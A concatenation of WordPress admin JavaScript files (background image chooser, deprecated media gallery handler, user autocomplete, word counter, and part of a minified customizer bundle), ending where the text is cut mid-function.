			bgImage.css( 'background-repeat', $( this ).is( ':checked' ) ? 'repeat' : 'no-repeat' );
		});

		/**
		 * Alters the background attachment CSS property whenever the background attachment input has changed.
		 *
		 * @since 4.7.0
		 *
		 * @return {void}
		 */
		$( 'input[name="background-attachment"]' ).on( 'change', function() {
			bgImage.css( 'background-attachment', $( this ).is( ':checked' ) ? 'scroll' : 'fixed' );
		});

		/**
		 * Binds the event for opening the WP Media dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		$('#choose-from-library-link').on( 'click', function( event ) {
			var $el = $(this);

			event.preventDefault();

			// If the media frame already exists, reopen it.
			if ( frame ) {
				frame.open();
				return;
			}

			// Create the media frame.
			frame = wp.media.frames.customBackground = wp.media({
				// Set the title of the modal.
				title: $el.data('choose'),

				// Tell the modal to show only images.
				library: {
					type: 'image'
				},

				// Customize the submit button.
				button: {
					// Set the text of the button.
					text: $el.data('update'),
					/*
					 * Tell the button not to close the modal, since we're
					 * going to refresh the page when the image is selected.
					 */
					close: false
				}
			});

			/**
			 * When an image is selected, run a callback.
			 *
			 * @since 3.5.0
			 *
			 * @return {void}
 			 */
			frame.on( 'select', function() {
				// Grab the selected attachment.
				var attachment = frame.state().get('selection').first();
				var nonceValue = $( '#_wpnonce' ).val() || '';

				// Run an Ajax request to set the background image.
				$.post( ajaxurl, {
					action: 'set-background-image',
					attachment_id: attachment.id,
					_ajax_nonce: nonceValue,
					size: 'full'
				}).done( function() {
					// When the request completes, reload the window.
					window.location.reload();
				});
			});

			// Finally, open the modal.
			frame.open();
		});
	});
})(jQuery);
/**
 * This file is used on media-upload.php which has been replaced by media-new.php and upload.php
 *
 * @deprecated 3.5.0
 * @output wp-admin/js/media-gallery.js
 */

 /* global ajaxurl */
jQuery(function($) {
	/**
	 * Adds a click event handler to the element with a 'wp-gallery' class.
	 */
	$( 'body' ).on( 'click.wp-gallery', function(e) {
		var target = $( e.target ), id, img_size, nonceValue;

		if ( target.hasClass( 'wp-set-header' ) ) {
			// Opens the image to preview it full size.
			( window.dialogArguments || opener || parent || top ).location.href = target.data( 'location' );
			e.preventDefault();
		} else if ( target.hasClass( 'wp-set-background' ) ) {
			// Sets the image as background of the theme.
			id = target.data( 'attachment-id' );
			img_size = $( 'input[name="attachments[' + id + '][image-size]"]:checked').val();
			nonceValue = $( '#_wpnonce' ).val() && '';

			/**
			 * This Ajax action has been deprecated since 3.5.0, see custom-background.php
			 */
			jQuery.post(ajaxurl, {
				action: 'set-background-image',
				attachment_id: id,
				_ajax_nonce: nonceValue,
				size: img_size
			}, function() {
				var win = window.dialogArguments || opener || parent || top;
				win.tb_remove();
				win.location.reload();
			});

			e.preventDefault();
		}
	});
});
/**
 * Suggests users in a multisite environment.
 *
 * For input fields where the admin can select a user based on email or
 * username, this script shows an autocompletion menu for these inputs. Should
 * only be used in a multisite environment. Only users in the currently active
 * site are shown.
 *
 * @since 3.4.0
 * @output wp-admin/js/user-suggest.js
 */

/* global ajaxurl, current_site_id, isRtl */

(function( $ ) {
	var id = ( typeof current_site_id !== 'undefined' ) ? '&site_id=' + current_site_id : '';
	$( function() {
		var position = { offset: '0, -1' };
		if ( typeof isRtl !== 'undefined' && isRtl ) {
			position.my = 'right top';
			position.at = 'right bottom';
		}

		/**
		 * Adds an autocomplete function to input fields marked with the class
		 * 'wp-suggest-user'.
		 *
		 * A minimum of two characters is required to trigger the suggestions. The
		 * autocompletion menu is shown at the left bottom of the input field. On
		 * RTL installations, it is shown at the right top. Adds the class 'open' to
		 * the input field when the autocompletion menu is shown.
		 *
		 * Does a backend call to retrieve the users.
		 *
		 * Optional data-attributes:
		 * - data-autocomplete-type (add, search)
		 *   The action that is going to be performed: search for existing users
		 *   or add a new one. Default: add
		 * - data-autocomplete-field (user_login, user_email)
		 *   The field that is returned as the value for the suggestion.
		 *   Default: user_login
		 *
		 * @see wp-admin/includes/admin-actions.php:wp_ajax_autocomplete_user()
		 */
		$( '.wp-suggest-user' ).each( function(){
			var $this = $( this ),
				autocompleteType = ( typeof $this.data( 'autocompleteType' ) !== 'undefined' ) ? $this.data( 'autocompleteType' ) : 'add',
				autocompleteField = ( typeof $this.data( 'autocompleteField' ) !== 'undefined' ) ? $this.data( 'autocompleteField' ) : 'user_login';

			$this.autocomplete({
				source:    ajaxurl + '?action=autocomplete-user&autocomplete_type=' + autocompleteType + '&autocomplete_field=' + autocompleteField + id,
				delay:     500,
				minLength: 2,
				position:  position,
				open: function() {
					$( this ).addClass( 'open' );
				},
				close: function() {
					$( this ).removeClass( 'open' );
				}
			});
		});
	});
})( jQuery );
/**
 * Word or character counting functionality. Count words or characters in a
 * provided text string.
 *
 * @namespace wp.utils
 *
 * @since 2.6.0
 * @output wp-admin/js/word-count.js
 */

( function() {
	/**
	 * Word counting utility
	 *
	 * @namespace wp.utils.wordcounter
	 * @memberof  wp.utils
	 *
	 * @class
	 *
	 * @param {Object} settings                                   Optional. Key-value object containing overrides for
	 *                                                            settings.
	 * @param {RegExp} settings.HTMLRegExp                        Optional. Regular expression to find HTML elements.
	 * @param {RegExp} settings.HTMLcommentRegExp                 Optional. Regular expression to find HTML comments.
	 * @param {RegExp} settings.spaceRegExp                       Optional. Regular expression to find irregular space
	 *                                                            characters.
	 * @param {RegExp} settings.HTMLEntityRegExp                  Optional. Regular expression to find HTML entities.
	 * @param {RegExp} settings.connectorRegExp                   Optional. Regular expression to find connectors that
	 *                                                            split words.
	 * @param {RegExp} settings.removeRegExp                      Optional. Regular expression to find remove unwanted
	 *                                                            characters to reduce false-positives.
	 * @param {RegExp} settings.astralRegExp                      Optional. Regular expression to find unwanted
	 *                                                            characters when searching for non-words.
	 * @param {RegExp} settings.wordsRegExp                       Optional. Regular expression to find words by spaces.
	 * @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which
	 *                                                            are non-spaces.
	 * @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters
	 *                                                            including spaces.
	 * @param {RegExp} settings.shortcodesRegExp                  Optional. Regular expression to find shortcodes.
	 * @param {Object} settings.l10n                              Optional. Localization object containing specific
	 *                                                            configuration for the current localization.
	 * @param {string} settings.l10n.type                         Optional. Method of finding words to count.
	 * @param {Array}  settings.l10n.shortcodes                   Optional. Array of shortcodes that should be removed
	 *                                                            from the text.
	 *
	 * @return {void}
	 */
	function WordCounter( settings ) {
		var key,
			shortcodes;

		// Apply provided settings to object settings.
		if ( settings ) {
			for ( key in settings ) {

				// Only apply valid settings.
				if ( settings.hasOwnProperty( key ) ) {
					this.settings[ key ] = settings[ key ];
				}
			}
		}

		shortcodes = this.settings.l10n.shortcodes;

		// If there are any localization shortcodes, add this as type in the settings.
		if ( shortcodes && shortcodes.length ) {
			this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
		}
	}

	// Default settings.
	WordCounter.prototype.settings = {
		HTMLRegExp: /<\/?[a-z][^>]*?>/gi,
		HTMLcommentRegExp: /<!--[\s\S]*?-->/g,
		spaceRegExp: /&nbsp;|&#160;/gi,
		HTMLEntityRegExp: /&\S+?;/g,

		// \u2014 = em-dash.
		connectorRegExp: /--|\u2014/g,

		// Characters to be removed from input text.
		removeRegExp: new RegExp( [
			'[',

				// Basic Latin (extract).
				'\u0021-\u0040\u005B-\u0060\u007B-\u007E',

				// Latin-1 Supplement (extract).
				'\u0080-\u00BF\u00D7\u00F7',

				/*
				 * The following range consists of:
				 * General Punctuation
				 * Superscripts and Subscripts
				 * Currency Symbols
				 * Combining Diacritical Marks for Symbols
				 * Letterlike Symbols
				 * Number Forms
				 * Arrows
				 * Mathematical Operators
				 * Miscellaneous Technical
				 * Control Pictures
				 * Optical Character Recognition
				 * Enclosed Alphanumerics
				 * Box Drawing
				 * Block Elements
				 * Geometric Shapes
				 * Miscellaneous Symbols
				 * Dingbats
				 * Miscellaneous Mathematical Symbols-A
				 * Supplemental Arrows-A
				 * Braille Patterns
				 * Supplemental Arrows-B
				 * Miscellaneous Mathematical Symbols-B
				 * Supplemental Mathematical Operators
				 * Miscellaneous Symbols and Arrows
				 */
				'\u2000-\u2BFF',

				// Supplemental Punctuation.
				'\u2E00-\u2E7F',
			']'
		].join( '' ), 'g' ),

		// Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF
		astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g,
		wordsRegExp: /\S\s+/g,
		characters_excluding_spacesRegExp: /\S/g,

		/*
		 * Match anything that is not a formatting character, excluding:
		 * \f = form feed
		 * \n = new line
		 * \r = carriage return
		 * \t = tab
		 * \v = vertical tab
		 * \u00AD = soft hyphen
		 * \u2028 = line separator
		 * \u2029 = paragraph separator
		 */
		characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g,
		l10n: window.wordCountL10n || {}
	};

	/**
	 * Counts the number of words (or other specified type) in the specified text.
	 *
	 * @since 2.6.0
	 *
	 * @memberof wp.utils.wordcounter
	 *
	 * @param {string}  text Text to count elements in.
	 * @param {string}  type Optional. Specify type to use.
	 *
	 * @return {number} The number of items counted.
	 */
	WordCounter.prototype.count = function( text, type ) {
		var count = 0;

		// Use default type if none was provided.
		type = type || this.settings.l10n.type;

		// Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'.
		if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) {
			type = 'words';
		}

		// If we have any text at all.
		if ( text ) {
			text = text + '\n';

			// Replace all HTML with a new-line.
			text = text.replace( this.settings.HTMLRegExp, '\n' );

			// Remove all HTML comments.
			text = text.replace( this.settings.HTMLcommentRegExp, '' );

			// If a shortcode regular expression has been provided use it to remove shortcodes.
			if ( this.settings.shortcodesRegExp ) {
				text = text.replace( this.settings.shortcodesRegExp, '\n' );
			}

			// Normalize non-breaking space to a normal space.
			text = text.replace( this.settings.spaceRegExp, ' ' );

			if ( type === 'words' ) {

				// Remove HTML Entities.
				text = text.replace( this.settings.HTMLEntityRegExp, '' );

				// Convert connectors to spaces to count attached text as words.
				text = text.replace( this.settings.connectorRegExp, ' ' );

				// Remove unwanted characters.
				text = text.replace( this.settings.removeRegExp, '' );
			} else {

				// Convert HTML Entities to "a".
				text = text.replace( this.settings.HTMLEntityRegExp, 'a' );

				// Remove surrogate points.
				text = text.replace( this.settings.astralRegExp, 'a' );
			}

			// Match with the selected type regular expression to count the items.
			text = text.match( this.settings[ type + 'RegExp' ] );

			// If we have any matches, set the count to the number of items found.
			if ( text ) {
				count = text.length;
			}
		}

		return count;
	};

	// Add the WordCounter to the WP Utils.
	window.wp = window.wp || {};
	window.wp.utils = window.wp.utils || {};
	window.wp.utils.WordCounter = WordCounter;
} )();
/*! This file is auto-generated */
!function(J){var a,s,t,e,n,i,Y=wp.customize,o=window.matchMedia("(prefers-reduced-motion: reduce)"),r=o.matches;o.addEventListener("change",function(e){r=e.matches}),Y.OverlayNotification=Y.Notification.extend({loading:!1,initialize:function(e,t){var n=this;Y.Notification.prototype.initialize.call(n,e,t),n.containerClasses+=" notification-overlay",n.loading&&(n.containerClasses+=" notification-loading")},render:function(){var e=Y.Notification.prototype.render.call(this);return e.on("keydown",_.bind(this.handleEscape,this)),e},handleEscape:function(e){var t=this;27===e.which&&(e.stopPropagation(),t.dismissible)&&t.parent&&t.parent.remove(t.code)}}),Y.Notifications=Y.Values.extend({alt:!1,defaultConstructor:Y.Notification,initialize:function(e){var t=this;Y.Values.prototype.initialize.call(t,e),_.bindAll(t,"constrainFocus"),t._addedIncrement=0,t._addedOrder={},t.bind("add",function(e){t.trigger("change",e)}),t.bind("removed",function(e){t.trigger("change",e)})},count:function(){return _.size(this._value)},add:function(e,t){var n,i=this,t="string"==typeof e?(n=e,t):(n=e.code,e);return i.has(n)||(i._addedIncrement+=1,i._addedOrder[n]=i._addedIncrement),Y.Values.prototype.add.call(i,n,t)},remove:function(e){return delete this._addedOrder[e],Y.Values.prototype.remove.call(this,e)},get:function(e){var a,o=this,t=_.values(o._value);return _.extend({sort:!1},e).sort&&(a={error:4,warning:3,success:2,info:1},t.sort(function(e,t){var n=0,i=0;return(n=_.isUndefined(a[e.type])?n:a[e.type])!==(i=_.isUndefined(a[t.type])?i:a[t.type])?i-n:o._addedOrder[t.code]-o._addedOrder[e.code]})),t},render:function(){var e,t,n,i=this,a=!1,o=[],s={};i.container&&i.container.length&&(e=i.get({sort:!0}),i.container.toggle(0!==e.length),i.container.is(i.previousContainer)&&_.isEqual(e,i.previousNotifications)||((n=i.container.children("ul").first()).length||(n=J("<ul></ul>"),i.container.append(n)),n.find("> [data-code]").remove(),_.each(i.previousNotifications,function(e){s[e.code]=e}),_.each(e,function(e){var t;!wp.a11y||s[e.code]&&_.isEqual(e.message,s[e.code].message)||wp.a11y.speak(e.message,"assertive"),t=J(e.render()),e.container=t,n.append(t),e.extended(Y.OverlayNotification)&&o.push(e)}),(t=Boolean(o.length))!==(a=i.previousNotifications?Boolean(_.find(i.previousNotifications,function(e){return e.extended(Y.OverlayNotification)})):a)&&(J(document.body).toggleClass("customize-loading",t),i.container.toggleClass("has-overlay-notifications",t),t?(i.previousActiveElement=document.activeElement,J(document).on("keydown",i.constrainFocus)):J(document).off("keydown",i.constrainFocus)),t?(i.focusContainer=o[o.length-1].container,i.focusContainer.prop("tabIndex",-1),((a=i.focusContainer.find(":focusable")).length?a.first():i.focusContainer).focus()):i.previousActiveElement&&(J(i.previousActiveElement).trigger("focus"),i.previousActiveElement=null),i.previousNotifications=e,i.previousContainer=i.container,i.trigger("rendered")))},constrainFocus:function(e){var t,n=this;e.stopPropagation(),9===e.which&&(0===(t=n.focusContainer.find(":focusable")).length&&(t=n.focusContainer),!J.contains(n.focusContainer[0],e.target)||!J.contains(n.focusContainer[0],document.activeElement)||t.last().is(e.target)&&!e.shiftKey?(e.preventDefault(),t.first().focus()):t.first().is(e.target)&&e.shiftKey&&(e.preventDefault(),t.last().focus()))}}),Y.Setting=Y.Value.extend({defaults:{transport:"refresh",dirty:!1},initialize:function(e,t,n){var i=this,n=_.extend({previewer:Y.previewer},i.defaults,n||{});Y.Value.prototype.initialize.call(i,t,n),i.id=e,i._dirty=n.dirty,i.notifications=new Y.Notifications,i.bind(i.preview)},preview:function(){var e=this,t=e.transport;"postMessage"===(t="postMessage"!==t||Y.state("previewerAlive").get()?t:"refresh")?e.previewer.send("setting",[e.id,e()]):"refresh"===t&&e.previewer.refresh()},findControls:function(){var n=this,i=[];return Y.control.each(function(t){_.each(t.settings,function(e){e.id===n.id&&i.push(t)})}),i}}),Y._latestRevision=0,Y._lastSavedRevision=0,Y._latestSettingRevisions={},Y.bind("change",function(e){Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision}),Y.bind("ready",function(){Y.bind("add",function(e){e._dirty&&(Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision)})}),Y.dirtyValues=function(n){var i={};return Y.each(function(e){var t;e._dirty&&(t=Y._latestSettingRevisions[e.id],Y.state("changesetStatus").get()&&n&&n.unsaved&&(_.isUndefined(t)||t<=Y._lastSavedRevision)||(i[e.id]=e.get()))}),i},Y.requestChangesetUpdate=function(n,e){var t,i={},a=new J.Deferred;if(0!==Y.state("processing").get())a.reject("already_processing");else if(e=_.extend({title:null,date:null,autosave:!1,force:!1},e),n&&_.extend(i,n),_.each(Y.dirtyValues({unsaved:!0}),function(e,t){n&&null===n[t]||(i[t]=_.extend({},i[t]||{},{value:e}))}),Y.trigger("changeset-save",i,e),!e.force&&_.isEmpty(i)&&null===e.title&&null===e.date)a.resolve({});else{if(e.status)return a.reject({code:"illegal_status_in_changeset_update"}).promise();if(e.date&&e.autosave)return a.reject({code:"illegal_autosave_with_date_gmt"}).promise();Y.state("processing").set(Y.state("processing").get()+1),a.always(function(){Y.state("processing").set(Y.state("processing").get()-1)}),delete(t=Y.previewer.query({excludeCustomizedSaved:!0})).customized,_.extend(t,{nonce:Y.settings.nonce.save,customize_theme:Y.settings.theme.stylesheet,customize_changeset_data:JSON.stringify(i)}),null!==e.title&&(t.customize_changeset_title=e.title),null!==e.date&&(t.customize_changeset_date=e.date),!1!==e.autosave&&(t.customize_changeset_autosave="true"),Y.trigger("save-request-params",t),(e=wp.ajax.post("customize_save",t)).done(function(e){var n={};Y._lastSavedRevision=Math.max(Y._latestRevision,Y._lastSavedRevision),Y.state("changesetStatus").set(e.changeset_status),e.changeset_date&&Y.state("changesetDate").set(e.changeset_date),a.resolve(e),Y.trigger("changeset-saved",e),e.setting_validities&&_.each(e.setting_validities,function(e,t){!0===e&&_.isObject(i[t])&&!_.isUndefined(i[t].value)&&(n[t]=i[t].value)}),Y.previewer.send("changeset-saved",_.extend({},e,{saved_changeset_values:n}))}),e.fail(function(e){a.reject(e),Y.trigger("changeset-error",e)}),e.always(function(e){e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities})})}return a.promise()},Y.utils.bubbleChildValueChanges=function(n,e){J.each(e,function(e,t){n[t].bind(function(e,t){n.parent&&e!==t&&n.parent.trigger("change",n)})})},o=function(e){var t,n,i=this,a=function(){var e;i.extended(Y.Panel)&&1<(n=i.sections()).length&&n.forEach(function(e){e.expanded()&&e.collapse()}),e=(i.extended(Y.Panel)||i.extended(Y.Section))&&i.expanded&&i.expanded()?i.contentContainer:i.container,(n=0===(n=e.find(".control-focus:first")).length?e.find("input, select, textarea, button, object, a[href], [tabindex]").filter(":visible").first():n).focus()};(e=e||{}).completeCallback?(t=e.completeCallback,e.completeCallback=function(){a(),t()}):e.completeCallback=a,Y.state("paneVisible").set(!0),i.expand?i.expand(e):e.completeCallback()},Y.utils.prioritySort=function(e,t){return e.priority()===t.priority()&&"number"==typeof e.params.instanceNumber&&"number"==typeof t.params.instanceNumber?e.params.instanceNumber-t.params.instanceNumber:e.priority()-t.priority()},Y.utils.isKeydownButNotEnterEvent=function(e){return"keydown"===e.type&&13!==e.which},Y.utils.areElementListsEqual=function(e,t){return e.length===t.length&&-1===_.indexOf(_.map(_.zip(e,t),function(e){return J(e[0]).is(e[1])}),!1)},Y.utils.highlightButton=function(e,t){var n,i="button-see-me",a=!1;function o(){a=!0}return(n=_.extend({delay:0,focusTarget:e},t)).focusTarget.on("focusin",o),setTimeout(function(){n.focusTarget.off("focusin",o),a||(e.addClass(i),e.one("animationend",function(){e.removeClass(i)}))},n.delay),o},Y.utils.getCurrentTimestamp=function(){var e=_.now(),t=new Date(Y.settings.initialServerDate.replace(/-/g,"/")),e=e-Y.settings.initialClientTimestamp;return e+=Y.settings.initialClientTimestamp-Y.settings.initialServerTimestamp,t.setTime(t.getTime()+e),t.getTime()},Y.utils.getRemainingTime=function(e){e=e instanceof Date?e.getTime():"string"==typeof e?new Date(e.replace(/-/g,"/")).getTime():e,e-=Y.utils.getCurrentTimestamp();return Math.ceil(e/1e3)},t=document.createElement("div"),e={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"},n=_.find(_.keys(e),function(e){return!_.isUndefined(t.style[e])}),s=n?e[n]:null,a=Y.Class.extend({defaultActiveArguments:{duration:"fast",completeCallback:J.noop},defaultExpandedArguments:{duration:"fast",completeCallback:J.noop},containerType:"container",defaults:{title:"",description:"",priority:100,type:"default",content:null,active:!0,instanceNumber:null},initialize:function(e,t){var n=this;n.id=e,a.instanceCounter||(a.instanceCounter=0),a.instanceCounter++,J.extend(n,{params:_.defaults(t.params||t,n.defaults)}),n.params.instanceNumber||(n.params.instanceNumber=a.instanceCounter),n.notifications=new Y.Notifications,n.templateSelector=n.params.templateId||"customize-"+n.containerType+"-"+n.params.type,n.container=J(n.params.content),0===n.container.length&&(n.container=J(n.getContainer())),n.headContainer=n.container,n.contentContainer=n.getContent(),n.container=n.container.add(n.contentContainer),n.deferred={embedded:new J.Deferred},n.priority=new Y.Value,n.active=new Y.Value,n.activeArgumentsQueue=[],n.expanded=new Y.Value,n.expandedArgumentsQueue=[],n.active.bind(function(e){var t=n.activeArgumentsQueue.shift(),t=J.extend({},n.defaultActiveArguments,t);e=e&&n.isContextuallyActive(),n.onChangeActive(e,t)}),n.expanded.bind(function(e){var t=n.expandedArgumentsQueue.shift(),t=J.extend({},n.defaultExpandedArguments,t);n.onChangeExpanded(e,t)}),n.deferred.embedded.done(function(){n.setupNotifications(),n.attachEvents()}),Y.utils.bubbleChildValueChanges(n,["priority","active"]),n.priority.set(n.params.priority),n.active.set(n.params.active),n.expanded.set(!1)},getNotificationsContainerElement:function(){return this.contentContainer.find(".customize-control-notifications-container:first")},setupNotifications:function(){var e,t=this;t.notifications.container=t.getNotificationsContainerElement(),t.expanded.bind(e=function(){t.expanded.get()&&t.notifications.render()}),e(),t.notifications.bind("change",_.debounce(e))},ready:function(){},_children:function(t,e){var n=this,i=[];return Y[e].each(function(e){e[t].get()===n.id&&i.push(e)}),i.sort(Y.utils.prioritySort),i},isContextuallyActive:function(){throw new Error("Container.isContextuallyActive() must be overridden in a subclass.")},onChangeActive:function(e,t){var n,i=this,a=i.headContainer;t.unchanged?t.completeCallback&&t.completeCallback():(n="resolved"===Y.previewer.deferred.active.state()?t.duration:0,i.extended(Y.Panel)&&(Y.panel.each(function(e){e!==i&&e.expanded()&&(n=0)}),e||_.each(i.sections(),function(e){e.collapse({duration:0})})),J.contains(document,a.get(0))?e?a.slideDown(n,t.completeCallback):i.expanded()?i.collapse({duration:n,completeCallback:function(){a.slideUp(n,t.completeCallback)}}):a.slideUp(n,t.completeCallback):(a.toggle(e),t.completeCallback&&t.completeCallback()))},_toggleActive:function(e,t){return t=t||{},e&&this.active.get()||!e&&!this.active.get()?(t.unchanged=!0,this.onChangeActive(this.active.get(),t),!1):(t.unchanged=!1,this.activeArgumentsQueue.push(t),this.active.set(e),!0)},activate:function(e){return this._toggleActive(!0,e)},deactivate:function(e){return this._toggleActive(!1,e)},onChangeExpanded:function(){throw new Error("Must override with subclass.")},_toggleExpanded:function(e,t){var n,i=this;return n=(t=t||{}).completeCallback,!(e&&!i.active()||(Y.state("paneVisible").set(!0),t.completeCallback=function(){n&&n.apply(i,arguments),e?i.container.trigger("expanded"):i.container.trigger("collapsed")},e&&i.expanded.get()||!e&&!i.expanded.get()?(t.unchanged=!0,i.onChangeExpanded(i.expanded.get(),t),1):(t.unchanged=!1,i.expandedArgumentsQueue.push(t),i.expanded.set(e),0)))},expand:function(e){return this._toggleExpanded(!0,e)},collapse:function(e){return this._toggleExpanded(!1,e)},_animateChangeExpanded:function(t){var a,o,n,i;!s||r?_.defer(function(){t&&t()}):(o=(a=this).contentContainer,i=o.closest(".wp-full-overlay").add(o),a.panel&&""!==a.panel()&&!Y.panel(a.panel()).contentContainer.hasClass("skip-transition")||(i=i.add("#customize-info, .customize-pane-parent")),n=function(e){2===e.eventPhase&&J(e.target).is(o)&&(o.off(s,n),i.removeClass("busy"),t)&&t()},o.on(s,n),i.addClass("busy"),_.defer(function(){var e=o.closest(".wp-full-overlay-sidebar-content"),t=e.scrollTop(),n=o.data("previous-scrollTop")||0,i=a.expanded();i&&0<t?(o.css("top",t+"px"),o.data("previous-scrollTop",t)):!i&&0<t+n&&(o.css("top",n-t+"px"),e.scrollTop(n))}))},focus:o,getContainer:function(){var e=this,t=0!==J("#tmpl-"+e.templateSelector).length?wp.template(e.templateSelector):wp.template("customize-"+e.containerType+"-default");return t&&e.container?t(_.extend({id:e.id},e.params)).toString().trim():"<li></li>"},getContent:function(){var e=this.container,t=e.find(".accordion-section-content, .control-panel-content").first(),n="sub-"+e.attr("id"),i=n,a=e.attr("aria-owns");return e.attr("aria-owns",i=a?i+" "+a:i),t.detach().attr({id:n,class:"customize-pane-child "+t.attr("class")+" "+e.attr("class")})}}),Y.Section=a.extend({containerType:"section",containerParent:"#customize-theme-controls",containerPaneParent:".customize-pane-parent",defaults:{title:"",description:"",priority:100,type:"default",content:null,active:!0,instanceNumber:null,panel:null,customizeAction:""},initialize:function(e,t){var n=this,i=t.params||t;i.type||_.find(Y.sectionConstructor,function(e,t){return e===n.constructor&&(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.id=e,n.panel=new Y.Value,n.panel.bind(function(e){J(n.headContainer).toggleClass("control-subsection",!!e)}),n.panel.set(n.params.panel||""),Y.utils.bubbleChildValueChanges(n,["panel"]),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e,n=this;n.containerParent=Y.ensure(n.containerParent),n.panel.bind(e=function(e){var t;e?Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})}):(t=Y.ensure(n.containerPaneParent),n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve())}),e(n.panel.get())},attachEvents:function(){var e,t,n=this;n.container.hasClass("cannot-expand")||(n.container.find(".accordion-section-title, .customize-section-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()?n.collapse():n.expand())}),n.container.find(".customize-section-title .customize-help-toggle").on("click",function(){(e=n.container.find(".section-meta")).hasClass("cannot-expand")||((t=e.find(".customize-section-description:first")).toggleClass("open"),t.slideToggle(n.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),J(this).attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}))}))},isContextuallyActive:function(){var e=this.controls(),t=0;return _(e).each(function(e){e.active()&&(t+=1)}),0!==t},controls:function(){return this._children("section","control")},onChangeExpanded:function(e,t){var n,i=this,a=i.headContainer.closest(".wp-full-overlay-sidebar-content"),o=i.contentContainer,s=i.headContainer.closest(".wp-full-overlay"),r=o.find(".customize-section-back"),c=i.headContainer.find(".accordion-section-title").first();e&&!o.hasClass("open")?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){c.attr("tabindex","-1"),r.attr("tabindex","0"),r.trigger("focus"),o.css("top",""),a.scrollTop(0),t.completeCallback&&t.completeCallback()}),o.addClass("open"),s.addClass("section-open"),Y.state("expandedSection").set(i)}.bind(this),t.allowMultiple||Y.section.each(function(e){e!==i&&e.collapse({duration:t.duration})}),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):(t.allowMultiple||Y.panel.each(function(e){e.collapse()}),n())):!e&&o.hasClass("open")?(i.panel()&&(n=Y.panel(i.panel())).contentContainer.hasClass("skip-transition")&&n.collapse(),i._animateChangeExpanded(function(){r.attr("tabindex","-1"),c.attr("tabindex","0"),c.trigger("focus"),o.css("top",""),t.completeCallback&&t.completeCallback()}),o.removeClass("open"),s.removeClass("section-open"),i===Y.state("expandedSection").get()&&Y.state("expandedSection").set(!1)):t.completeCallback&&t.completeCallback()}}),Y.ThemesSection=Y.Section.extend({currentTheme:"",overlay:"",template:"",screenshotQueue:null,$window:null,$body:null,loaded:0,loading:!1,fullyLoaded:!1,term:"",tags:"",nextTerm:"",nextTags:"",filtersHeight:0,headerContainer:null,updateCountDebounced:null,initialize:function(e,t){var n=this;n.headerContainer=J(),n.$window=J(window),n.$body=J(document.body),Y.Section.prototype.initialize.call(n,e,t),n.updateCountDebounced=_.debounce(n.updateCount,500)},embed:function(){var n=this,e=function(e){var t;Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.find(".customize-themes-full-container-container").before(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})})};n.panel.bind(e),e(n.panel.get())},ready:function(){var t=this;t.overlay=t.container.find(".theme-overlay"),t.template=wp.template("customize-themes-details-view"),t.container.on("keydown",function(e){t.overlay.find(".theme-wrap").is(":visible")&&(39===e.keyCode&&t.nextTheme(),37===e.keyCode&&t.previousTheme(),27===e.keyCode)&&(t.$body.hasClass("modal-open")?t.closeDetails():t.headerContainer.find(".customize-themes-section-title").focus(),e.stopPropagation())}),t.renderScreenshots=_.throttle(t.renderScreenshots,100),_.bindAll(t,"renderScreenshots","loadMore","checkTerm","filtersChecked")},isContextuallyActive:function(){return this.active()},attachEvents:function(){var e,n=this;function t(){var e=n.headerContainer.find(".customize-themes-section-title");e.toggleClass("selected",n.expanded()),e.attr("aria-expanded",n.expanded()?"true":"false"),n.expanded()||e.removeClass("details-open")}n.container.find(".customize-section-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.collapse())}),n.headerContainer=J("#accordion-section-"+n.id),n.headerContainer.on("click",".customize-themes-section-title",function(){n.headerContainer.find(".filter-details").length&&(n.headerContainer.find(".customize-themes-section-title").toggleClass("details-open").attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}),n.headerContainer.find(".filter-details").slideToggle(180)),n.expanded()||n.expand()}),n.container.on("click",".theme-actions .preview-theme",function(){Y.panel("themes").loadThemePreview(J(this).data("slug"))}),n.container.on("click",".left",function(){n.previousTheme()}),n.container.on("click",".right",function(){n.nextTheme()}),n.container.on("click",".theme-backdrop, .close",function(){n.closeDetails()}),"local"===n.params.filter_type?n.container.on("input",".wp-filter-search-themes",function(e){n.filterSearch(e.currentTarget.value)}):"remote"===n.params.filter_type&&(e=_.debounce(n.checkTerm,500),n.contentContainer.on("input",".wp-filter-search",function(){Y.panel("themes").expanded()&&(e(n),n.expanded()||n.expand())}),n.contentContainer.on("click",".filter-group input",function(){n.filtersChecked(),n.checkTerm(n)})),n.contentContainer.on("click",".feature-filter-toggle",function(e){var 